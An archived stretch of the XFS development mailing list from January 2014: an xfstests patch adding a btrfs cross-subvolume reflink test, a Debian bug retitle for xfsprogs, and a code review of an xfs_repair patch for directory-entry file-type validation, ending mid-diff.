C7CD68F8052 for ; Tue, 21 Jan 2014 03:41:19 -0800 (PST) X-ASG-Debug-ID: 1390304478-04cbb05bab2eaf0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id SSLYpFg6s9SlksRf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 21 Jan 2014 03:41:18 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0LBfGoc003902 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 21 Jan 2014 11:41:17 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0LBfFIK026251 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 21 Jan 2014 11:41:16 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0LBfFPb010401; Tue, 21 Jan 2014 11:41:15 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 21 Jan 2014 03:41:15 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit Subject: [PATCH RESEND] xfstests: btrfs: cross-subvolume sparse copy Date: Tue, 21 Jan 2014 12:40:48 +0100 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: btrfs: cross-subvolume sparse copy Message-Id: <1390304448-25752-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390304478 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144321 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines This testscript creates reflinks to files on different subvolumes, overwrites the original files and reflinks, and moves reflinked files between subvolumes. Signed-off-by: Koen De Wit --- Originally submitted as test 302, btrfs/316 diff --git a/tests/btrfs/030 b/tests/btrfs/030 new file mode 100644 index 0000000..5ebc555 --- /dev/null +++ b/tests/btrfs/030 @@ -0,0 +1,137 @@ +#! /bin/bash +# FS QA Test No. 030 +# +# Testing cross-subvolume sparse copy on btrfs +# - Create two subvolumes, mount one of them +# - Create a file on each (sub/root)volume, +# reflink them on the other volumes +# - Change one original and two reflinked files +# - Move reflinked files between subvolumes +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT + rm -rf $TESTDIR1 + rm -rf $TESTDIR2 + btrfs subvolume delete $SUBVOL1 >> $seqres.full + btrfs subvolume delete $SUBVOL2 >> $seqres.full + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +_checksum_files() { + for F in file1 file2 file3 + do + echo "$F:" + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 + do + _md5_checksum $D/$F + done + done +} + +TESTDIR1=$TEST_DIR/test-$seq-1 +TESTDIR2=$TEST_DIR/test-$seq-2 +SUBVOL1=$TEST_DIR/subvol-$seq-1 +SUBVOL2=$TEST_DIR/subvol-$seq-2 + +_scratch_unmount 2>/dev/null +rm -rf $seqres.full +rm -rf $TESTDIR1 $TESTDIR2 +btrfs subvol delete $SUBVOL1 >/dev/null 2>&1 +btrfs subvol delete $SUBVOL2 >/dev/null 2>&1 + +mkdir $TESTDIR1 +mkdir $TESTDIR2 +btrfs subvolume create $SUBVOL1 >> $seqres.full +btrfs subvolume create $SUBVOL2 >> $seqres.full +_mount -t btrfs -o subvol=subvol-$seq-1 $TEST_DEV $SCRATCH_MNT + +echo "Create initial files" +# TESTDIR1/file1 is very small and will be inlined +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 10' $TESTDIR1/file1 \ + >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 13000' $SCRATCH_MNT/file2 \ + >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x63 0 17000' $SUBVOL2/file3 \ + >> $seqres.full + +echo "Create reflinks to the initial files on other subvolumes" +cp --reflink $TESTDIR1/file1 $SUBVOL1 +cp --reflink $TESTDIR1/file1 $SUBVOL2 +cp --reflink $SUBVOL1/file2 $TESTDIR1/ +cp --reflink $SUBVOL1/file2 $SUBVOL2 +cp --reflink $SUBVOL2/file3 $TESTDIR1/ +cp --reflink $SUBVOL2/file3 $SUBVOL1 + +echo "Verify the reflinks" +_verify_reflink $SCRATCH_MNT/file2 $TESTDIR1/file2 +_verify_reflink $SCRATCH_MNT/file2 $SUBVOL2/file2 +_verify_reflink $SUBVOL2/file3 $TESTDIR1/file3 +_verify_reflink $SUBVOL2/file3 $SCRATCH_MNT/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nOverwrite some files with new content" +$XFS_IO_PROG -c 'pwrite -S 0x64 0 20' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x66 0 21000' $SUBVOL2/file2 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x65 5000 5000' $SCRATCH_MNT/file3 \ + >> $seqres.full + +echo -n "Verify that non-overwritten reflinks " +echo "still have the same data blocks" +_verify_reflink $TESTDIR1/file2 $SCRATCH_MNT/file2 +_verify_reflink $TESTDIR1/file3 $SUBVOL2/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nShuffle files between directories" +mv $TESTDIR1/file* $TESTDIR2 +mv $SCRATCH_MNT/file* $TESTDIR1/ +mv $SUBVOL2/file* $SCRATCH_MNT/ +mv $TESTDIR2/file* $SUBVOL2/ + +# No _verify_reflink here as data is copied when moving files +# between subvols +echo "Verify the file contents:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/btrfs/030.out b/tests/btrfs/030.out new file mode 100644 index 0000000..050ae0b --- /dev/null +++ b/tests/btrfs/030.out @@ -0,0 +1,48 @@ +QA output created by 030 +Create initial files +Create reflinks to the initial files on other subvolumes +Verify the reflinks +Verify the file contents: +file1: +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +file2: +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +file3: +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f +--- +Overwrite some files with new content +Verify that non-overwritten reflinks still have the same data blocks +Verify the file contents: +file1: +00d620f69f30327f0f8946b95c12de44 +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +file2: +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +917619ae44b38bb9968af261c3c45440 +file3: +5a95800e4c04b11117aa4e4de057721f +b9f275cd638cb784c9e61def94c622a8 +5a95800e4c04b11117aa4e4de057721f +--- +Shuffle files between directories +Verify the file contents: +file1: +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +00d620f69f30327f0f8946b95c12de44 +file2: +d7402b46310fbbfbc5e466b1dccb043b +917619ae44b38bb9968af261c3c45440 +d7402b46310fbbfbc5e466b1dccb043b +file3: +b9f275cd638cb784c9e61def94c622a8 +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f diff --git a/tests/btrfs/group b/tests/btrfs/group index 8eb8c4f..3f61799 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -32,3 +32,4 @@ 027 auto quick 028 auto quick 029 auto quick +030 auto quick -- 1.7.1 From debbugs@buxtehude.debian.org Tue Jan 21 05:43:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D11AD29DF8 for ; Tue, 21 Jan 2014 05:43:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE1DB304043 for ; Tue, 21 Jan 2014 03:43:26 -0800 (PST) X-ASG-Debug-ID: 1390304604-04cbb05bab2ece0001-NocioJ Received: from buxtehude.debian.org (buxtehude.debian.org [140.211.166.26]) by cuda.sgi.com with ESMTP id dvx6UZdVekc0q1BB (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 21 Jan 2014 03:43:25 -0800 (PST) X-Barracuda-Envelope-From: debbugs@buxtehude.debian.org X-Barracuda-Apparent-Source-IP: 140.211.166.26 Received: from debbugs by buxtehude.debian.org with local (Exim 4.80) (envelope-from ) id 1W5Zjn-0008HH-L2; Tue, 21 Jan 2014 11:43:23 +0000 X-Loop: owner@bugs.debian.org Subject: Bug#725971: reuse this issue for the more general solution to use dh-autoreconf Reply-To: Matthias Klose , 725971@bugs.debian.org X-ASG-Orig-Subj: Bug#725971: reuse this issue for the more general solution to use dh-autoreconf Resent-From: Matthias Klose Original-Sender: Matthias Klose Resent-To: debian-bugs-dist@lists.debian.org Resent-Cc: XFS Development Team X-Loop: owner@bugs.debian.org Resent-Date: Tue, 21 Jan 2014 11:43:20 +0000 Resent-Message-ID: X-Debian-PR-Message: followup 725971 X-Debian-PR-Package: xfsprogs X-Debian-PR-Keywords: patch X-Debian-PR-Source: xfsprogs Received: via spool by 725971-submit@bugs.debian.org id=B725971.139030442926917 (code B ref 725971); Tue, 21 Jan 2014 11:43:20 +0000 Received: (at 725971) by bugs.debian.org; 21 Jan 2014 11:40:29 +0000 Received: from ravel.debian.org ([206.12.19.5]) from C=NA,ST=NA,L=Ankh Morpork,O=Debian SMTP,OU=Debian SMTP CA,CN=ravel.debian.org,EMAIL=hostmaster@ravel.debian.org (verified) by buxtehude.debian.org with esmtps (TLS1.2:DHE_RSA_AES_128_CBC_SHA1:128) (Exim 4.80) (envelope-from ) id 1W5Zgz-0006zo-Re for 725971@bugs.debian.org; Tue, 21 Jan 2014 11:40:29 +0000 Received: from doko by ravel.debian.org with local (Exim 4.80) (envelope-from ) id 1W5Zgz-0003yG-Gp for 725971@bugs.debian.org; Tue, 21 Jan 2014 11:40:29 +0000 To: 725971@bugs.debian.org From: Matthias Klose Message-Id: Sender: Matthias Klose Date: Tue, 21 Jan 2014 11:40:29 +0000 Resent-Sender: Debian BTS X-Barracuda-Connect: buxtehude.debian.org[140.211.166.26] X-Barracuda-Start-Time: 1390304605 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA085b X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144321 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.40 BSF_SC0_SA085b Custom Rule SA085b Control: retitle -1 xfsprogs: run dh-autoreconf to update config.{sub,guess} and {libtool,aclocal}.m4 Reusing this report for the more general solution to also update the libtool.m4 and/or aclocal.m4 files, needed for the port mentioned in bug #726404. See https://wiki.debian.org/qa.debian.org/FTBFS for a guide how to address these. Please ignore this email if the libtool.m4/aclocal.m4 update is not needed, and updating the config.{guess,sub} files is sufficient. From debbugs@buxtehude.debian.org Tue Jan 21 05:43:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 08E3D29E05 for ; Tue, 21 Jan 2014 05:43:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 98DBBAC007 for ; Tue, 21 Jan 2014 03:43:31 -0800 (PST) X-ASG-Debug-ID: 1390304605-04cbb05bac2ecf0001-NocioJ Received: from buxtehude.debian.org (buxtehude.debian.org [140.211.166.26]) by cuda.sgi.com with ESMTP id fpPaBGI4OxEBL6gX (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 21 Jan 2014 03:43:25 -0800 (PST) X-Barracuda-Envelope-From: debbugs@buxtehude.debian.org X-Barracuda-Apparent-Source-IP: 140.211.166.26 Received: from debbugs by buxtehude.debian.org with local (Exim 4.80) (envelope-from ) id 1W5Zjo-0008Hn-Lu; Tue, 21 Jan 2014 11:43:24 +0000 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Mailer: MIME-tools 5.503 (Entity 5.503) Content-Type: text/plain; charset=utf-8 From: owner@bugs.debian.org (Debian Bug Tracking System) To: Matthias Klose CC: xfs@oss.sgi.com Subject: Processed: reuse this issue for the more general solution to use dh-autoreconf Message-ID: X-ASG-Orig-Subj: Processed: reuse this issue for the more general solution to use dh-autoreconf References: <20131010133811.GK32337@riva.ucam.org> X-Debian-PR-Package: xfsprogs X-Debian-PR-Source: xfsprogs X-Debian-PR-Message: transcript X-Loop: owner@bugs.debian.org Date: Tue, 21 Jan 2014 11:43:24 +0000 Sender: Debian BTS X-Barracuda-Connect: buxtehude.debian.org[140.211.166.26] X-Barracuda-Start-Time: 1390304605 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144321 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Processing control commands: > retitle -1 xfsprogs: run dh-autoreconf to update config.{sub,guess} and {= libtool,aclocal}.m4 Bug #725971 [xfsprogs] xfsprogs: config.guess/config.sub out of date for ar= m64 Changed Bug title to 'xfsprogs: run dh-autoreconf to update config.{sub,gue= ss} and {libtool,aclocal}.m4' from 'xfsprogs: config.guess/config.sub out o= f date for arm64' --=20 725971: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D725971 Debian Bug Tracking System Contact owner@bugs.debian.org with problems From bfoster@redhat.com Tue Jan 21 11:11:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E697029DF8 for ; Tue, 21 Jan 2014 11:11:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF51F304032 for ; Tue, 21 Jan 2014 09:11:52 -0800 (PST) X-ASG-Debug-ID: 1390324307-04cb6c31f508370001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id IpmVLDWWnz3IoyHl for ; Tue, 21 Jan 2014 09:11:48 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0LHBjOI016501 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 21 Jan 2014 12:11:45 -0500 Received: from laptop.bfoster (vpn-58-194.rdu2.redhat.com [10.10.58.194]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0LHBhm0001145 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 21 Jan 2014 12:11:44 -0500 Message-ID: <52DEAA4F.9020509@redhat.com> Date: Tue, 21 Jan 2014 12:11:43 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] xfs_repair: add support for validating dirent ftype field References: <1390267813-8781-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: add support for validating dirent ftype field In-Reply-To: <1390267813-8781-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390324307 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/20/2014 08:30 PM, Dave Chinner wrote: > From: Dave Chinner > > Add code to track the filetype of an inode from phase 3 when all the > inodes are scanned throught to phase 6 when the directory structure > is validated and corrected. > > Add code to phase 6 shortform and long form directory entry > validation to read the ftype from the dirent, lookup the inode > record and check they are the same. If they aren't and we are in > no-modify mode, issue a warning such as: > > Phase 6 - check inode connectivity... > - traversing filesystem ... > would fix ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > If we are fixing the problem: > > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - traversing filesystem ... > fixing ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > Note that this is from a leaf form directory entry that was > intentionally corrupted with xfs_db like so: > > xfs_db> inode 64 > xfs_db> a u3.bmx[0].startblock > xfs_db> p > .... > du[3].inumber = 68 > du[3].namelen = 11 > du[3].name = "syscalltest" > du[3].filetype = 1 > du[3].tag = 0x70 > .... > xfs_db> write du[3].filetype 5 > du[3].filetype = 5 > xfs_db> quit > > Shortform directory entry repair was tested in a similar fashion. > > Further, track the ftype in the directory hash table that is build, > so if the directory is rebuild from scratch it has the necessary > ftype information to rebuild the directory correctly. Further, if we > detect a ftype mismatch, update the entry in the hash so that later > directory errors that lead to it being rebuilt use the corrected > ftype field, not the bad one. > > Note that this code pulls in some kernel side code that is currently > in kernel private locations (xfs_mode_to_ftype table), so there'll > be some kernel/userspace sync work needed to bring these back into > line. > > Signed-off-by: Dave Chinner > --- > include/xfs_dir2.h | 3 ++ > libxfs/xfs_dir2.c | 16 +++++++++ > repair/dino_chunks.c | 11 +++++++ > repair/incore.h | 27 ++++++++++++++- > repair/incore_ino.c | 29 ++++++++++++++--- > repair/phase6.c | 92 ++++++++++++++++++++++++++++++++++++++++++++++++---- > repair/scan.c | 4 +-- > 7 files changed, 168 insertions(+), 14 deletions(-) > > diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h > index 9910401..3900130 100644 > --- a/include/xfs_dir2.h > +++ b/include/xfs_dir2.h > @@ -57,6 +57,9 @@ extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, > extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, > struct xfs_name *name, uint resblks); > > +#define S_SHIFT 12 > +extern const unsigned char xfs_mode_to_ftype[]; > + > /* > * Direct call from the bmap code, bypassing the generic directory layer. > */ > diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c > index 96a3c1d..4c8c836 100644 > --- a/libxfs/xfs_dir2.c > +++ b/libxfs/xfs_dir2.c > @@ -20,6 +20,22 @@ > > struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; > > +/* > + * @mode, if set, indicates that the type field needs to be set up. > + * This uses the transformation from file mode to DT_* as defined in linux/fs.h > + * for file type specification. This will be propagated into the directory > + * structure if appropriate for the given operation and filesystem config. > + */ > +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { > + [0] = XFS_DIR3_FT_UNKNOWN, > + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, > + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, > + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, > + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, > + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, > + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, > + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, > +}; > Using a larger array than technically necessary, but not a big deal I suppose. > /* > * ASCII case-insensitive (ie. A-Z) support for directories that was > diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c > index d3c2236..65281e4 100644 > --- a/repair/dino_chunks.c > +++ b/repair/dino_chunks.c > @@ -788,6 +788,8 @@ process_inode_chunk( > * we do now, this is where to start. > */ > if (is_used) { > + __uint16_t di_mode; > + > if (is_inode_free(ino_rec, irec_offset)) { > if (verbose || no_modify) { > do_warn( > @@ -803,6 +805,15 @@ process_inode_chunk( > set_inode_used(ino_rec, irec_offset); > > /* > + * store the on-disk file type for comparing in > + * phase 6. > + */ > + di_mode = be16_to_cpu(dino->di_mode); > + di_mode = (di_mode & S_IFMT) >> S_SHIFT; > + set_inode_ftype(ino_rec, irec_offset, > + xfs_mode_to_ftype[di_mode]); > + At this point it looks like dino->di_mode should be verified as valid (down in process_dinode_int()), so that seems Ok. > + /* > * store on-disk nlink count for comparing in phase 7 > */ > set_inode_disk_nlinks(ino_rec, irec_offset, > diff --git a/repair/incore.h b/repair/incore.h > index 38caa6d..5419884 100644 > --- a/repair/incore.h > +++ b/repair/incore.h > @@ -293,6 +293,7 @@ typedef struct ino_tree_node { > ino_ex_data_t *ex_data; /* phases 6,7 */ > parent_list_t *plist; /* phases 2-5 */ > } ino_un; > + __uint8_t *ftypes; /* phases 3,6 */ > } ino_tree_node_t; > > #define INOS_PER_IREC (sizeof(__uint64_t) * NBBY) > @@ -359,7 +360,8 @@ ino_tree_node_t *find_uncertain_inode_rec(xfs_agnumber_t agno, > xfs_agino_t ino); > void add_inode_uncertain(xfs_mount_t *mp, > xfs_ino_t ino, int free); > -void add_aginode_uncertain(xfs_agnumber_t agno, > +void add_aginode_uncertain(struct xfs_mount *mp, > + xfs_agnumber_t agno, > xfs_agino_t agino, int free); > void get_uncertain_inode_rec(struct xfs_mount *mp, > xfs_agnumber_t agno, > @@ -476,6 +478,29 @@ static inline void add_inode_reached(struct ino_tree_node *irec, int offset) > } > > /* > + * get/set inode filetype. Only used if the superblock feature bit is set > + * which allocates irec->ftypes. > + */ > +static inline void > +set_inode_ftype(struct ino_tree_node *irec, > + int ino_offset, > + __uint8_t ftype) > +{ > + if (irec->ftypes) > + irec->ftypes[ino_offset] = ftype; > +} > + > +static inline __uint8_t > +get_inode_ftype( > + struct ino_tree_node *irec, > + int ino_offset) > +{ > + if (!irec->ftypes) > + return XFS_DIR3_FT_UNKNOWN; > + return irec->ftypes[ino_offset]; > +} > + > +/* > * set/get inode number of parent -- works for directory inodes only > */ > void set_inode_parent(ino_tree_node_t *irec, int ino_offset, > diff --git a/repair/incore_ino.c b/repair/incore_ino.c > index 735737a..9200075 100644 > --- a/repair/incore_ino.c > +++ b/repair/incore_ino.c > @@ -211,6 +211,21 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) > return 0; > } > > +static __uint8_t * > +alloc_ftypes_array( > + struct xfs_mount *mp) > +{ > + __uint8_t *ptr; > + > + if (!xfs_sb_version_hasftype(&mp->m_sb)) > + return NULL; > + > + ptr = calloc(XFS_INODES_PER_CHUNK, sizeof(*ptr)); > + if (!ptr) > + do_error(_("could not allocate ftypes array\n")); > + return ptr; > +} > + > /* > * Next is the uncertain inode list -- a sorted (in ascending order) > * list of inode records sorted on the starting inode number. There > @@ -226,6 +241,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) > */ > static struct ino_tree_node * > alloc_ino_node( > + struct xfs_mount *mp, > xfs_agino_t starting_ino) > { > struct ino_tree_node *irec; > @@ -245,6 +261,7 @@ alloc_ino_node( > irec->ino_un.ex_data = NULL; > irec->nlink_size = sizeof(__uint8_t); > irec->disk_nlinks.un8 = alloc_nlink_array(irec->nlink_size); > + irec->ftypes = alloc_ftypes_array(mp); > return irec; > } > > @@ -303,7 +320,11 @@ static ino_tree_node_t **last_rec; > * free is set to 1 if the inode is thought to be free, 0 if used > */ > void > -add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) > +add_aginode_uncertain( > + struct xfs_mount *mp, > + xfs_agnumber_t agno, > + xfs_agino_t ino, > + int free) > { > ino_tree_node_t *ino_rec; > xfs_agino_t s_ino; > @@ -334,7 +355,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) > ino_rec = (ino_tree_node_t *) > avl_findrange(inode_uncertain_tree_ptrs[agno], s_ino); > if (!ino_rec) { > - ino_rec = alloc_ino_node(s_ino); > + ino_rec = alloc_ino_node(mp, s_ino); > > if (!avl_insert(inode_uncertain_tree_ptrs[agno], > &ino_rec->avl_node)) > @@ -360,7 +381,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) > void > add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free) > { > - add_aginode_uncertain(XFS_INO_TO_AGNO(mp, ino), > + add_aginode_uncertain(mp, XFS_INO_TO_AGNO(mp, ino), > XFS_INO_TO_AGINO(mp, ino), free); > } > > @@ -432,7 +453,7 @@ add_inode( > { > struct ino_tree_node *irec; > > - irec = alloc_ino_node(agino); > + irec = alloc_ino_node(mp, agino); > if (!avl_insert(inode_tree_ptrs[agno], &irec->avl_node)) > do_warn(_("add_inode - duplicate inode range\n")); > return irec; > diff --git a/repair/phase6.c b/repair/phase6.c > index d2d4a44..ea608a1 100644 > --- a/repair/phase6.c > +++ b/repair/phase6.c > @@ -134,7 +134,8 @@ dir_hash_add( > __uint32_t addr, > xfs_ino_t inum, > int namelen, > - unsigned char *name) > + unsigned char *name, > + __uint8_t ftype) > { > xfs_dahash_t hash = 0; > int byaddr; > @@ -148,6 +149,7 @@ dir_hash_add( > > xname.name = name; > xname.len = namelen; > + xname.type = ftype; > > junk = name[0] == '/'; > byaddr = DIR_HASH_FUNC(hashtab, addr); > @@ -312,6 +314,23 @@ dir_hash_see( > return DIR_HASH_CK_NODATA; > } > > +static void > +dir_hash_update_ftype( > + dir_hash_tab_t *hashtab, > + xfs_dir2_dataptr_t addr, > + __uint8_t ftype) > +{ > + int i; > + dir_hash_ent_t *p; > + > + i = DIR_HASH_FUNC(hashtab, addr); > + for (p = hashtab->byaddr[i]; p; p = p->nextbyaddr) { > + if (p->address != addr) > + continue; > + p->name.type = ftype; > + } > +} > + > /* > * checks to make sure leafs match a data entry, and that the stale > * count is valid. > @@ -1685,11 +1704,12 @@ longform_dir2_entry_check_data( > if (!orphanage_ino) > orphanage_ino = inum; > } > + > /* > * check for duplicate names in directory. > */ > if (!dir_hash_add(mp, hashtab, addr, 